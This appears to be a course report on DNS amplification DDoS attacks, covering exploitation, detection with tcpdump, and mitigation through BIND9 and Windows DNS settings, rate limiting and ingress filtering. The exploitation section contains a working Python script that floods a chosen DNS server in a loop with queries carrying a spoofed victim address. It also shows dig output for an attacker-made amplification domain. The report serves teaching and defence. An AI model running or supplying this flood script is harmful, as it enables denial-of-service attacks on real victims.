Table of Contents

Section 1:Introduction ............................................................................... 2

1.1
Overview ....................................................................................... 2
1.2
Description .................................................................................... 2
Section 2: Exploitation ............................................................................... 3
Section 3: Detection .................................................................................... 8
Section 4: Mitigation .................................................................................. 9
Section 5: Future Prospective Of Attack .............................................. 12
REFERENCES

DNS Amplification Attacks

Section 1: Introduction
Overview
A Domain Name Server (DNS) amplification attack is a popular form of distributed denial of
service (DDoS) that relies on the use of publically accessible open DNS servers to overwhelm a
victim system with DNS response traffic.

Description
A Domain Name Server (DNS) Amplification attack is a popular form of Distributed Denial of
Service (DDoS), in which attackers use publically accessible open DNS servers to flood a target
system with DNS response traffic. The primary technique consists of an attacker sending a DNS
name lookup request to an open DNS server with the source address spoofed to be the targets
address. When the DNS server sends the DNS record response, it is sent instead to the target.
Attackers will typically submit a request for as much zone information as possible to maximize
the amplification effect. In most attacks of this type observed, the spoofed queries sent by the
attacker are of the type, ANY, which returns all known information about a DNS zone in a
single request. Because the size of the response is considerably larger than the request, the
attacker is able to increase the amount of traffic directed at the victim. By leveraging a botnet to
produce a large number of spoofed DNS queries, an attacker can create an immense amount of
traffic with little effort. Additionally, because the responses are legitimate data coming from
valid servers, it is extremely difficult to prevent these types of attacks. . With no bandwidth
remaining to service real customer requests, the victims website is unable to service requests for
real users. The reason its called an amplification attack is because the attacker only needs a
small Internet connection, while still being able to deluge the victim with traffic.
The diagram below gives a high level overview of how a DNS amplification attack works: -

The relation between a request and the corresponding response is known as the amplification
factor and is computed using the following formula:
Amplification Factor = size of (response) / size of (request)
The bigger the amplification factor is, the quicker the bandwidth and resource consumption at
the victim is induced.

Section 2: Exploitation
DDoS has always relied on address spoofing so anything can be targeted and traffic cannot be
traced to its origin; but as with any exploit, attackers continuously refine their tactics. The new
and dangerous DNS DDoS innovation has emerged, where attackers exploit a backdoor into
provider networks: tens of millions of open DNS proxies scattered across the Internet. A few
thousand can create Gigabits of unwanted traffic. Open DNS resolvers are also commonly
targeted; since theyll answer queries from any IP address theyre a convenient resource for
attackers. Authoritative servers have been used in the past since certain names offer good
amplification. Finally botnets can launch DDoS attacks as well, although there are limitations in
ISP networks since in most cases its not possible to spoof an IP address.
An attacker who is planning a DNS amplification attack can take advantage of the following:

Open recursion: Name servers on the Internet that have recursion enabled and provide
recursive DNS responses to anyone are referred to as open resolvers. The number of DNS
servers providing open recursion on the Internet have been estimated to be anywhere from
several hundred thousand to several million. In a DNS amplification attack, the open resolver
functions as the source of amplification, receiving a small DNS query and returning a much
larger DNS response. These DNS servers are not normally compromised, but actually
functioning as intended.

Source address spoofing: Source address spoofing alters a packet's return address so that the
packet appears to have come from a source other than the sender. In a DNS amplification
attack, the source address for the DNS query is spoofed with the target of the attack, similar to
a Smurf attack. When an open resolver returns a DNS response, this response is incorrectly
sent to the spoofed address.

Botnets: Botnets are groups of online computers that have been compromised by an attacker.
Botnets are used in a DNS amplification attack to send DNS queries to open resolvers.

Malware: Malware can be used to gain access to botnet computers and provide a means to
trigger DNS amplification attacks.

EDNS0: Extension Mechanisms for DNS (EDNS0 as defined in RFC 2671) allow DNS
requestors to advertise the size of their UDP packets and facilitate the transfer of packets larger
than 512 bytes. Without EDNS0, a 64 byte query can result in (at most) at 512 byte UDP reply
corresponding to an amplification factor of 512/64 = 8x.

DNSSEC: DNSSEC adds security to DNS responses by providing the ability for DNS servers
to validate DNS responses. DNSSEC prevents cache-poisoning attacks, but adds cryptographic
signatures resulting in larger DNS message sizes. As a consequence, DNSSEC also requires
EDNS0 support; therefore a server that supports DNSSEC will also support large UDP packets
in a DNS response. Because of these reasons, DNSSEC has been criticized for contributing to
DNS amplification attacks
In 2012 attackers discovered how to infiltrate provider networks and use them for DDoS,
diagrammed below.

As you can see, an attacker can use relatively few machines with little bandwidth to launch fairly
substantial attacks. This is done by spoofing (or faking) the source IP of the DNS request, such
that the response is not sent back to the computer that issued the request, but instead to the
victim.
The chart below shows the number of attacks on OpenDNS Security Lab Server over a 24 hour
period.

The table below shows a small sample of the domains used over the same 24 hour period

Attackers use both legitimate domains as well as domains used to increase the impact of the
attack. For example, fkfkfkfc(.)biz is one such domain that was setup specifically to take part in

these attacks. They do this so they can fill up the DNS response to be as large as possible. Below
is the dig output for this domain:
$ dig fkfkfkfc(.)biz @109.235.51.184
;; Truncated, retrying in TCP mode.
; <<>> DiG 9.8.3-P1 <<>> fkfkfkfc(.)biz @109.235.51.184
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24993
;; flags: qr aa rd; QUERY: 1, ANSWER: 236, AUTHORITY: 2, ADDITIONAL: 2
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;fkfkfkfc(.)biz. IN A
;; ANSWER SECTION:
fkfkfkfc(.)biz. 86400 IN A 204.46.43.157
fkfkfkfc(.)biz. 86400 IN A 204.46.43.158
fkfkfkfc(.)biz. 86400 IN A 204.46.43.159
fkfkfkfc(.)biz. 86400 IN A 204.46.43.160
Repeated hundreds of times
fkfkfkfc(.)biz. 86400 IN A 204.46.43.154
fkfkfkfc(.)biz. 86400 IN A 204.46.43.155
fkfkfkfc(.)biz. 86400 IN A 204.46.43.156
;; AUTHORITY SECTION:
fkfkfkfc(.)biz. 86400 IN NS ns21.fkfkfkfc.biz.
fkfkfkfc(.)biz. 86400 IN NS ns22.fkfkfkfc.biz.
;; ADDITIONAL SECTION:
ns21.fkfkfkfc(.)biz. 86400 IN A 109.235.51.184
ns22.fkfkfkfc(.)biz. 86400 IN A 109.235.51.184
;; Query time: 190 msec
;; SERVER: 109.235.51.184#53(109.235.51.184)
;; WHEN: Sat Mar 1 20:17:45 2014
;; MSG SIZE rcvd: 3876
As you can see a request that is only 64 bytes becomes 3876 bytes sent to the victim. A recent
attack measured by Cloudflare weighed in at 400Gbps, one of the largest attacks seen to date.
That would require an attacker issuing over 200,000 of the above requests per second to open

resolvers around the globe. We notice that while the custom crafted domains used in these
attacks do change, its not very often, sometimes lasting many weeks.
We can demonstrate a DNS Amplification attack by a following program. This sends DNS
requests to a DNS server that will be amplified and sent to a target machine.
#!/usr/bin/python

import socket
import string
import struct
import random
import sys
from impacket import ImpactPacket
def main():
if not (len(sys.argv) == 3):
print "Syntax:"
print "
python amplify-dns.py <dns-server> <target>"
print " dns-server is the IP address of the DNS server who's replies will be
redirected to the target."
print " target is the IP address of the attack target."
print
exit()
server_address = (sys.argv[1], 53)
target_address = (sys.argv[2], 8080)
# Create a UDP/IP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
try:
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
#sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#sock.bind(target_address) # spoof sender address so response goes to the target
random.seed() # randome used to generate unique-(ish) Transaction IDs
ip = ImpactPacket.IP()
ip.set_ip_src(target_address[0])
ip.set_ip_dst(server_address[0])
udp = ImpactPacket.UDP()
udp.set_uh_sport(target_address[1])
udp.set_uh_dport(server_address[1])
ip.contains(udp)
request_msg = create_dns_request("www.cs6250.com")
while True:
# Replace Transaction ID on each retransmission (so they look unique)
request_msg[0] = struct.pack('!BB', random.randint(0, 255), random.randint(0,
255))
udp.contains(ImpactPacket.Data("".join(request_msg)))
sock.sendto(ip.get_packet(), server_address)
finally:
sock.close()
def create_dns_request_header():
header = []
# Transaction ID
header.append(struct.pack('!BB', random.randint(0, 255), random.randint(0, 255)))
# Flags:
# QR=0 (query)

# OPCODE=0 QUERY (standard query)

# AA=0 (this flag not valid for requests)
# TC=0 (message not truncated)
# RD=1 (recursive query)
# RA=0 (this flag not valid for requests)
# Z=0 (this flag reserved for future use; required to be 0)
# RCODE=0 (this flag not valid for requests)
header.append(struct.pack('!BB', 1, 0))
# QDCOUNT=1, ANCOUNT=0, NSCOUNT=0, and ARCOUNT=0
header.append(struct.pack('!HHHH', 1, 0, 0, 0))
return header
def create_dns_request(query_domain):
query = create_dns_request_header()
# QNAME=query_domain parameter
domain_parts = string.split(query_domain, ".")
for part in domain_parts:
query.append(struct.pack('!B', len(part)))
query.append(part)
query.append(struct.pack('!B', 0))
# QTYPE=A, QCLASS=IN
query.append(struct.pack('!HH', 1, 1))
return query
main()

Section 3: Detection
Indicators
In a typical recursive DNS query, a client sends a query request to a local DNS server requesting
the resolution of a name or the reverse resolution of an IP address. The DNS server performs the
necessary queries on behalf of the client and returns a response packet with the requested
information or an error. The specification does not allow for unsolicited responses. In a DNS
amplification attack, the main indicator is a query response without a matching request.
The first symptom you will see is that your server is unresponsive over the network. If you have
an out-of-band connection, the server will probably have a low load.
If you suspect a reflected DNS attack, you can use tcpdump to look for a large number of DNS
responses arriving that you didn't ask for. Keeping track of requests and responses can be
difficult but if you aren't making any requests, then all the responses are part of the attack.
tcpdump -A -n dst port 53 and not host <local IP address>
The -n option is important here because it tells tcpdump not to do DNS lookups, which under this
kind of attack will time out. The <local IP address> should obviously be replaced with your
outbound IP address.

While it is not easy to identify authoritative name servers used in DNS reflection attacks as
vulnerability is not caused by a misconfiguration, there are several freely available options for
detecting open recursive resolvers. Several organizations offer free, web-based scanning tools
that will search a network for vulnerable open DNS resolvers. These tools will scan entire
network ranges and list the address of any identified open resolvers.
Open DNS Resolver Project
The Open DNS Resolver Project has compiled a list of DNS servers that are known to serve as
globally accessible open resolvers. The query interface allows network administrators to enter IP
ranges in CIDR format.
The Measurement Factory
Like the Open DNS Resolver Project, the Measurement Factory maintains a list of Internet
accessible DNS servers and allows administrators to search for open recursive resolvers. In
addition, the Measurement Factory offers a free tool to test a single DNS resolver to determine if
it allows open recursion. This will allow an administrator to determine if configuration changes
are required and verify that configuration changes have been successful. Finally, the site offers
statistics showing the number of public resolvers detected on the different Autonomous System
(AS) networks, sorted by the highest number found.
DNSInspect
Another freely available, web-based tool for testing DNS resolvers is DNSInspect. This site is
similar to The Measurement Factorys ability to assess an individual resolver for vulnerability,
but offers the ability to test an entire DNS Zone for several other possible configuration and
security issues.

Section 4: Mitigation:
Unfortunately, due to the massive traffic volume that can be produced by one of these attacks,
there is often little that the victim can do to counter a large-scale DNS amplification-based
distributed denial-of-service attack. However, it is possible to reduce the number of servers that
can be used by attackers to generate the traffic volumes.
While the only effective means of eliminating the use of recursive resolvers in this type of attack
is to eliminate unsecured recursive resolvers, this requires an extensive effort by various parties.
According to the Open DNS Resolver Project, of the 27 million known DNS resolvers on the
Internet, approximately 25 million pose a significant threat of being used in an attack.
However, several possible techniques are available to reduce the overall effectiveness of such
attacks to the Internet community as a whole

Source IP Verification
Because the DNS queries being sent by the attacker-controlled clients must have a source
address spoofed to appear as the victims system, the first step to reducing the effectiveness of
DNS amplification is for Internet Service Providers to reject any DNS traffic with spoofed
addresses. The Network Working Group of the Internet Engineering Task Force released Best
Current Practice 38 document in May 2000 and Best Current Practice 84 in March 2004 that
describes how an Internet Service Provider can filter network traffic on their network to reject
packets with source addresses not reachable via the actual packets path. The changes
recommended in this document would cause a routing device to evaluate whether it is possible to
reach the source address of the packet via the interface that transmitted the packet. If it is not
possible, then the packet obviously has a spoofed source address. This configuration change
would substantially reduce the potential for most popular types of DDoS attacks. As such, we
highly recommend to all network operators to perform network ingress filtering if possible.
Disabling Recursion on Authoritative Name Servers
Many of the DNS servers currently deployed on the Internet are exclusively intended to provide
name resolution for a single domain. In these systems, DNS resolution for private client systems
may be provided by a separate server and the authoritative server acts only as a DNS source of
zone information to external clients. These systems do not need to support recursive resolution of
other domains on behalf of a client, and should be configured with recursion disabled.
Bind9
Add the following to the global options:
options {
allow-query-cache { none; };
recursion no;
};
Microsoft DNS Server
In the Microsoft DNS console tool:
1. Right-click the DNS server and click Properties.
2. Click the Advanced tab.
3. In Server options, select the Disable recursion check box, and then click OK.
Limiting Recursion to Authorized Clients
For DNS servers that are deployed within an organization or Internet Service Provider, the
resolver should be configured to perform recursive queries on behalf of authorized clients only.
These requests typically should only come from clients within the organizations network
address range. We highly recommend that all server administrators restrict recursion to only
clients on the organizations network.
BIND9
In the global options, include the following:
acl corpnets { 192.168.1.0/24; 192.168.2.0/24; };

10

options {
allow-query { any; };
allow-recursion { corpnets; };
};
Microsoft DNS Server
It is not currently possible to restrict recursive DNS requests to a particular client address range
in Microsoft DNS Server. To approximate the functionality of the BIND access control lists in
Microsofts DNS Server, a different caching-only name server should be set up internally to
provide recursive resolution. A firewall rule should be created to block incoming access to the
caching-only server from outside the organizations network. The authoritative name server
functionality would then need to be hosted on a separate server, but configured to disable
recursion as previously described.
Response Rate Limiting (RRL)
There is currently an experimental feature available as a set of patches for BIND9 that allows an
administrator to limit the maximum number of responses per second being sent to one client
from the name server. This functionality is intended to be used on authoritative domain name
servers only as it will affect performance on recursive resolvers. To provide the most effective
protection, we recommend that authoritative and recursive name servers run on different
systems, with RRL implemented on the authoritative server and access control lists implemented
on the recursive server. This will reduce the effectiveness of DNS amplification attacks by
reducing the amount of traffic coming from any single authoritative server while not affecting
the performance of the internal recursive resolvers.
BIND9
There are currently patches available for 9.8.latest and 9.9.latest to support RRL on UNIX
systems. Red Hat has made updated packages available for Red Hat Enterprise Linux 6 to
provide the necessary changes in advisory RHSA-2013:0550-1. On BIND9 implementation
running the RRL patches, include the following lines to the options block of the authoritative
views :
rate-limit {
responses-per-second 5;
window 5;
};
Some things that you can do to help prevent DNS amplification attacks include:
Do not place open DNS resolvers on the Internet. Limiting the clients that can access the
resolver greatly decreases the ability of an attacker to use it maliciously. This can be
accomplished using firewall rules, router IP access lists, or other methods.
Prevent IP address spoofing by configuring Unicast Reverse Path Forwarding (URPF) on
network routers. A router configured to use URPF (defined in RFC3074) limits an attackers
ability to spoof packets by comparing the packets source address with its internal routing
tables to determine if the address is plausible. If not, the packet is discarded.

11

Deploy an intrusion prevention system (IPS) device or monitor DNSSEC traffic in some way.
Large numbers of outgoing packets with the same target address, especially whose count
suddenly spikes, is a good indicator of an active attack. Deploying filters to drop, limit, or
delay the incoming suspect packets should lessen the impact of the attack on the local network
and attack target. As previously mentioned, Windows DNS servers drop unmatched response
packets and log them in performance and statistics counters. It is important to regularly
monitor these counters.

Section 5: Future Prospective Of Attack:

DDoS attacks are rising as a threat. Over the last few years, these attacks have grown in intensity
and now have traffic volumes of up to 400 Gbps. These attacks are easy to carry out and do not
require great knowledge or access to zero-day vulnerabilities. The duration of the attacks is often
just a few hours or even minutes, but this can be enough to inflict a lot of damage at the target
site. Currently, amplification or reflection attacks are the most popular attack. These attacks use
DNS or NTP servers to amplify the attack traffic by a factor of 50-100 times. This allows small
botnets to conduct huge volumetric attacks. Many initiatives can help to protect reflection
servers, but there are still more than enough open amplifiers that can be misused. In 2015, we
have noticed an increase in compromised Unix servers being used to launch attacks. They are of
great interest to the attacker, since they provide a large bandwidth. DDoS botnets can be rented
as a service starting at $5 for small attacks.
Application-layer attacks, which target the Web application, are gaining in importance as well as
they are difficult to mitigate. They will become even more important in the future as often,
attackers adapt their methods during an attack in an attempt to bypass any short term defense
mechanism. In the future, we might see more DDoS attacks coming from mobile devices or even
the Internet of Things, but this is currently not happening on a large scale.
The motivation of the attacker can vary widely, with hacktivism, profit, and disputes being the
main reasons. Considering the ease of conducting large DDoS attacks, Symantec expects that the
DDoS growth trend will continue in the future. The likelihood of being targeted by short but
intensive DDoS attacks is rising.
Some companies try to over-provision bandwidth resources to defend themselves against
potential DDoS attacks. However, this arms race is very expensive to win. It is more important to
be prepared for DDoS attacks and have an ncident response plan ready. Talk to the upstream
provider and ensure that they are aware of this threat and check what benefits the utilization of
DDoS protection services can bring.

12

References
1 Glenn C., Kesidis, G., Brooks, R. R. and Suresh Rai, Denial-of-Service Attack-Detection
Techniques IEEE Internet computing 2006.
2 Peng, T., Leckie, C. and Kotagiri, R., "Survey of Network-based Defense Mechanisms
Countering the DoS and DDoS Problems", to appear in ACM Computing Surveys.
3 Mirkovic, J. et al., Internet Denial of Service: Attack and Defense Mechanism.
4 Security and Stability Advisory Committee, DNS Distributed Denial of Service (DDoS)
Attacks, http://www.icann.org/committees/security/dns-ddos-advisory-31mar06.pdf, March
2006.
5 (Alert (TA13-088A) US CERT 2013) DNS Amplification Attacks
https://www.us-cert.gov/ncas/alerts/TA13-088A
6 Mockapetris P., Domain Names Concepts and Facilities, RFC 1034, November 1987.
7 Mockapetris P., Domain Names Implementation and Specification, RFC 1035, Nov. 1987.
8 Vixie P., Extension Mechanisms for DNS, RFC 2671, August 1999.
9 Arends, R., Austein, R., Larson, M., Massey, D., Rose, S., "DNS Security Introduction and
Requirements", RFC 4033, March 2005.

13